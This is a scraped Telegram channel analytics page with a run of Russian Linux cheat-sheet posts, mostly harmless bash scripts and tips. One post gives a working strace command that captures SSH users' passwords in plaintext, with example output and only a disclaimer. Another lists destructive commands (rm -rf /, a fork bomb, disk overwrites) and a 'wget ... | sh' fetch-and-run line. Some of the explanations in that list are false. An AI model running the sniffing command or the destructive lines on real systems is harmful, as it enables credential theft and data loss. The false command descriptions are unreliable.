LinuxSkill - Сводки с прода и Шпаргалки
Следим за новостями Linux, DevOps и ИБ, чтобы быть готовым к любым факапам. Бонусом — плотные шпаргалки и чеклисты для ежедневной работы в терминале. 📩 По всем вопросам: @chorapov Зеркало в MAX: https://max.ru/LinuxSkill РКН https://vk.cc/cMUwm4
Больше📈 Аналитический обзор Telegram-канала LinuxSkill - Сводки с прода и Шпаргалки
Канал LinuxSkill - Сводки с прода и Шпаргалки (@linuxskill) языкового сегмента Русский является активным участником. Сейчас сообщество объединяет 10 674 подписчиков, занимая 11 413 место в категории Технологии и приложения и 59 596 место в регионе Россия.
📊 Показатели аудитории и динамика
С момента создания невідомо проект демонстрирует стремительный рост, собрав аудиторию из 10 674 подписчиков.
Согласно последним данным от 19 октября, 2026, канал показывает стабильную активность. За последние 30 дней изменение числа участников составило -48, а за последние 24 часа — 1, при этом общий охват остаётся высоким.
- Статус верификации: Не верифицирован
- Уровень вовлечённости (ER): Средний показатель вовлечённости аудитории составляет 11.23%. В первые 24 часа после публикации контент обычно набирает 4.67% реакций от общего числа подписчиков.
- Охват публикаций: В среднем каждый пост получает 1 199 просмотров. В течение первых суток публикация набирает 499 просмотров.
- Реакции и взаимодействия: Аудитория активно поддерживает контент: среднее количество реакций на один пост — 9.
- Тематические интересы: Контент сосредоточен на ключевых темах, таких как docker, linux, bash, devops, скрипт.
📝 Описание и контентная политика
Автор описывает ресурс как площадку для выражения субъективного мнения:
“Следим за новостями Linux, DevOps и ИБ, чтобы быть готовым к любым факапам.
Бонусом — плотные шпаргалки и чеклисты для ежедневной работы в терминале.
📩 По всем вопросам: @chorapov
Зеркало в MAX: https://max.ru/LinuxSkill
РКН https://vk.cc/cMUwm4”
Благодаря высокой частоте обновлений (последние данные получены 20 октября, 2026) канал поддерживает актуальность и высокий уровень охвата публикаций. Аналитика показывает, что аудитория активно взаимодействует с контентом, что делает его важной точкой влияния в категории Технологии и приложения.
#!/bin/bash
# Сканирование портов конкретного хоста
echo "Введите адрес хоста для сканирования:"
read host
echo "Сканирование портов для хоста $host..."
nmap $host
- Этот скрипт позволяет быстро сканировать порты указанного хоста.
2. Проверка статуса веб-сервера:
#!/bin/bash
# Проверка статуса веб-сервера по HTTP статус-коду
url="http://example.com" # Замените example.com на реальный URL
status_code=$(curl -o /dev/null -s -w "%{http_code}\n" $url)
if [ $status_code -eq 200 ]; then
echo "Веб-сервер $url работает нормально (HTTP статус 200)"
else
echo "Веб-сервер $url имеет проблемы (HTTP статус $status_code)"
fi
- Проверяет доступность веб-сервера по HTTP статус-коду.
3. Поиск изменений в файлах (интегритет):
#!/bin/bash
# Проверка интегритета файлов в заданной директории
directory="/var/www/html" # Замените на директорию, которую нужно отслеживать
hash_file="hashes.txt"
# Генерируем хэши файлов и сохраняем их для последующего сравнения
find $directory -type f -exec sha256sum "{}" + > $hash_file
# Функция, которая проверяет хэши
check_hashes() {
sha256sum -c $hash_file
}
# Вызываем функцию
check_hashes
- Следит за изменениями в файлах, проверяя их хэши.
4. Автоматическое создание бэкапов логов:
#!/bin/bash
# Автоматическое создание бэкапов логов
log_path="/var/log/apache2" # Замените на путь к вашей папке с логами
backup_path="/backup/apache2"
# Создаем каталог для бэкапа, если он не существует
mkdir -p $backup_path
# Архивируем и перемещаем логи
tar -czvf $backup_path/log-$(date +%F).tar.gz $log_path
- Автоматически создает резервные копии логов.
5. Мониторинг и оповещение об активности в логах:
#!/bin/bash
# Мониторинг и оповещение о подозрительной активности в логах
log_file="/var/log/auth.log" # Замените на путь к вашему лог-файлу
pattern="Failed password" # Замените на паттерн, который вы хотите отслеживать
# Чтение новых строк из лог-файла
tail -fn0 $log_file | \
while read line ; do
echo "$line" | grep "$pattern" > /dev/null
if [ $? = 0 ]; then
# Отправляем уведомление
echo "Подозрительная активность: $line"
# Здесь может быть команда для отправки уведомления, например, через mailx
fi
done
- Следит за логами и оповещает о подозрительной активности.
Эти скрипты — лишь начало. В реальных сценариях тебе понадобятся более сложные проверки и интеграции. Всегда тестируй скрипты в безопасной среде перед их использованием в продакшене. 🛡️
Ссылка на источник https://timcore.ru/2024/03/07/pjat-skriptov-na-bash-kotorye-mogut-ispolzovatsja-dlja-avtomatizacii-rutinnyh-zadach-v-kiberbezopasnosti/
📩 Завтра: Вопрос №10 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Введение в Команду Head
🧠 - Навигация по Сетевым Интерфейсам с Ifconfig
🧠 - Мастерство Слияния Файлов с Join
#Linux_Mastery @LinuxSkillstrace для перехвата паролей пользователей, подключающихся по SSH. Это знание поможет тебе защитить свои системы и избежать неприятностей. Давай разберемся, как это работает и как защититься!
Как работает сниффинг с помощью strace:
1. Запуск strace для отслеживания процессов SSH:
strace -f -p $(pgrep -o sshd) -o /tmp/passwd.txt -v -e trace=write -s 64
- -f: Следим за всеми процессами sshd (мастер и дочерние).
- -p: Ищем все PID процессов sshd.
- -o: Файл, куда пишем результаты.
- -v: Пишем подробности.
- -e: Триггеримся только на запись данных.
- -s: Ограничиваем вывод данных 64 байтами (меньше мусора).
2. Что происходит:
- Когда пользователь авторизуется по SSH, его пароль записывается в файл passwd.txt в открытом виде.
3. Пример вывода:
1088 write(5,"\0\0\0\5oleg", 9) = 9
1088 write(5, "\0\0\0\Barmaley1982", 17) = 17
- Логин oleg, пароль Barmaley1982.
Важно помнить:
- Эта информация предназначена исключительно для образовательных целей. Использование таких методов для незаконных действий строго запрещено.
- Защищай свои системы, следи за безопасностью и соблюдай законы своей страны.
Береги свои данные и безопасность!
📩 Завтра: Автоматизация кибербезопасности: 5 полезных скриптов на Bash
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Управление Съемными Носителями с Eject
🧠 - Разложение на Простые Множители с Factor
🧠 - Погружение в Команду Groups
#Linux_Mastery @LinuxSkilltime для этого.
Основная информация:
Команда time позволяет измерить реальное время, затраченное на выполнение команды, а также время работы процессора. Вот как это сделать:
1. Использование команды time:
Просто добавь time перед командой, которую хочешь измерить. Например:
time sleep 2
Вывод будет примерно таким:
real 0m2.009s user 0m0.000s sys 0m0.004s-
real — общее время выполнения.
- user — время, затраченное на выполнение пользовательского кода.
- sys — время, затраченное на выполнение системного кода.
2. Измерение времени для нескольких команд:
Если нужно измерить время выполнения нескольких команд, используй группу команд:
time { command1; command2; }
Используя команду time, ты можешь легко измерять производительность своих скриптов и оптимизировать их. Попробуй сам и убедись, насколько это полезно!
🌳 Ветка: https://stackoverflow.com/questions/385408/get-program-execution-time-in-the-shell
📩 Завтра: Как не стать жертвой сниффинга паролей на Linux
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Открываем Мир b2-tools
🧠 - Открываем Все Тайны Команды Cat
🧠 - Разгадываем Загадки с Diff3
#stackoverflow @LinuxSkill #Linux #TimeCommand #Performance #SysAdmin #DevOpsrm -rf /:
- Удаляет все файлы и папки на компьютере. Полная потеря данных.
2. :(){ :|: & };::
- Известная как "fork bomb", может вызвать переполнение памяти и аварийное завершение системы.
3. mkfs.ext4 /dev/sda:
- Форматирует жесткий диск без предупреждения. Все данные будут утеряны.
4. dd if=/dev/random of=/dev/sda:
- Перезаписывает данные на жестком диске случайными значениями, что приводит к потере данных.
5. chmod 777 /:
- Открывает полный доступ к файловой системе для всех пользователей, что может нарушить безопасность.
6. **mv /home/* /dev/null**:
- Перемещает все файлы из домашней директории в "null", что приводит к их потере.
7. wget http://example.com/file -O /dev/null:
- Загружает файл и перезаписывает данные в "null", что приводит к потере данных.
8. mkfs.ext4 /dev/sda1:
- Форматирует раздел жесткого диска без предупреждения. Все данные на разделе будут утеряны.
9. ln -s /dev/null /etc/passwd:
- Создает символическую ссылку на "/etc/passwd" в "null", что приводит к потере данных.
10. echo "Hello" > /dev/sda:
- Заменяет раздел, содержащий данные для загрузки системы, строкой «Hello».
11. wget http://malicious_source -O- | sh:
- Загружает и запускает вредоносные сценарии, которые могут подорвать безопасность системы.
Эти команды могут нанести непоправимый ущерб твоей системе. Будь осторожен и всегда проверяй команды перед их выполнением. Береги свои данные и безопасность!
📩 Завтра: Вопрос №8 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Глубокое Погружение в Жесткие Ссылки: Создание и Управление в Linux
🧠 - Мастер-класс по Сокрытию Файлов и Каталогов в Linux: Станьте Невидимкой
🧠 - Создание Ссылок в Linux: Символические и Жесткие Пути к Управлению Данными
#Linux_Mastery @LinuxSkill date # Текущая дата и время
cal # Календарь на текущий месяц
uptime # Время с момента последней загрузки ОС
uname -a # Все сведения о системе
uname -vr # Номер выпуска ОС и версия ядра
2. Активность пользователей:
w # Сведения о зарегистрированных пользователях
users # Список имен вошедших пользователей
last # История входов пользователей
lastlog # Время последнего входа всех пользователей
whoami # Имя текущего пользователя
finger user # Информация о пользователе
3. Использование ресурсов:
df # Использование дисков
du # Использование текущего каталога
free # Использование реальной и виртуальной памяти
4. Поиск и справка:
whatis app # Краткая информация об app
whereis app # Местоположение исполняемого модуля app
which app # Исполняемый модуль по умолчанию
man command # Справочная информация для команды
Эти команды помогут тебе быстро ориентироваться в системе и управлять ею. Попробуй их в действии и делись своими успехами!
📩 Завтра: Никогда не запускай эти 11 команд в Linux!
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Меняем владельца файлов в Linux с помощью chown: Пошаговое руководство!
🧠 - Установка Разрешений по Умолчанию в Linux с umask: Ваш Путеводитель!
🧠 - Станьте Гуру Управления Загрузчиком GRUB с LinuxSkill
#Linux_Commands @LinuxSkilldiff в Linux.
Чтобы сравнить два дерева каталогов и найти различия в содержимом файлов, используй команду diff с флагами -qr:
diff -qr dir1/ dir2/
- -q или --brief — выводит только информацию о различиях, без детального сравнения.
- -r или --recursive — рекурсивно обходит все подкаталоги.
Если ты хочешь увидеть различия для файлов, которые могут отсутствовать в одной из директорий, добавь флаг -N:
diff -qrN dir1/ dir2/
Используя эти команды, ты сможешь легко и быстро выявить различия между двумя директориями, что особенно полезно при управлении версиями и контроле изменений. Попробуй сам и убедись, насколько это удобно!
🌳 Ветка: https://stackoverflow.com/questions/4997693/given-two-directory-trees-how-can-i-find-out-which-files-differ-by-content
📩 Завтра: 18 команд которые должен знать каждый линуксоид!
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Мастерство использования команды chown для смены владельца файлов и каталогов
🧠 - Станьте Мастером Календаря в Linux с Cal и NCal
🧠 - Станьте Мастером Управления Пользователями в Linux
#stackoverflow @LinuxSkill #Linux #Diff #DirectoryComparison #SysAdmin #DevOps#!/bin/bash
# Colors for readability
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
RED='\033[0;31m'
NC='\033[0m' # No Color
echo -e "${GREEN}===== System Monitoring Script =====${NC}"
# 1. CPU Usage
echo -e "${YELLOW}\n>> CPU Usage: ${NC}"
mpstat | awk '/all/ {print "CPU Load: " $3 "% idle"}'
# 2. Memory Usage
echo -e "${YELLOW}\n>> Memory Usage: ${NC}"
free -h | awk '/Mem/ {print "Total Memory: " $2 "\nUsed: " $3 "\nFree: " $4}'
echo -e "Swap:\n"$(free -h | awk '/Swap/ {print "Total: " $2 ", Used: " $3 ", Free: " $4}')
# 3. Disk Usage
echo -e "${YELLOW}\n>> Disk Usage: ${NC}"
df -h | grep '^/dev' | awk '{print $1 ": " $5 " used, " $4 " available"}'
# 4. Network Traffic
echo -e "${YELLOW}\n>> Network Traffic: ${NC}"
ifstat -i eth0 1 1 | awk 'NR==3 {print "RX: " $1 " KB/s, TX: " $2 " KB/s"}'
# 5. Top 5 Memory Consuming Processes
echo -e "${YELLOW}\n>> Top 5 Memory Consuming Processes: ${NC}"
ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%mem | head -n 6
# 6. Top 5 CPU Consuming Processes
echo -e "${YELLOW}\n>> Top 5 CPU Consuming Processes: ${NC}"
ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%cpu | head -n 6
# 7. System Logs Monitoring
echo -e "${YELLOW}\n>> Recent Errors in System Logs: ${NC}"
journalctl -p 3 -xb | tail -n 10
echo -e "${GREEN}===== Monitoring Completed =====${NC}"
Что делает этот скрипт?
1. CPU Usage: Показывает загрузку процессора.
2. Memory Usage: Отображает использование оперативной памяти и swap.
3. Disk Usage: Информирует о занятом и доступном дисковом пространстве.
4. Network Traffic: Показывает входящий и исходящий трафик.
5. Top 5 Memory Consuming Processes: Выводит процессы, потребляющие больше всего памяти.
6. Top 5 CPU Consuming Processes: Выводит процессы, потребляющие больше всего CPU.
7. System Logs Monitoring: Показывает последние ошибки в системных логах.
Этот скрипт — твой надежный помощник в мониторинге системы. Запускай его, чтобы всегда быть в курсе состояния твоего сервера.
📩 Завтра: Открой секреты защиты от DDoS-атак с помощью экспертов!
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Управление Особыми Режимами в Linux: Разблокировка Доступа с chmod
🧠 - Разбираемся с командой Basename: Ваш ключ к упрощению работы с файлами в Linux
🧠 - От MythTV до LibreELEC: Как Linux Перевернул Мир Мультимедиа
#Linux_Mastery @LinuxSkill #Linux #Bash #Monitoringunset — это то, что тебе нужно:
unset GNUPLOT_DRIVER_DIR
Важно знать:
- Эта команда удаляет переменную только для текущей сессии терминала. При открытии нового окна терминала переменные загружаются из таких файлов, как ~/.bashrc или ~/.profile.
- Если переменная автоматически устанавливается при каждом запуске терминала, попробуй найти её в скрытых файлах домашней директории. Используй команду:
grep -r <имя_переменной> ~
Это может занять время, если у тебя много файлов.
Как сохранить значение переменной, но убрать экспорт:
- В bash можно использовать:
typescript
declare +x MYVAR
или
export -n MYVAR
Удаление переменной в разных сессиях:
- Нет команды, которая бы удалила переменную во всех существующих сессиях. Лучше найти файл инициализации, где она устанавливается, и отредактировать его, чтобы переменная не устанавливалась в будущих сессиях.
Ветка: https://stackoverflow.com/questions/6877727/how-do-i-delete-an-exported-environment-variable
📩 Завтра: Твой незаменимый помощник: Скрипт для мониторинга Linux!
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Улучшаем Linux Skills: Мастерство символического представления разрешений с chmod
🧠 - Знаете ли вы, как узнать архитектуру вашей машины в Linux
🧠 - Открытие Ansible: Как простой инструмент стал гигантом управления конфигурациями
#stackoverflow @LinuxSkill #Linux #EnvironmentVariables #Bash #Tips #Automation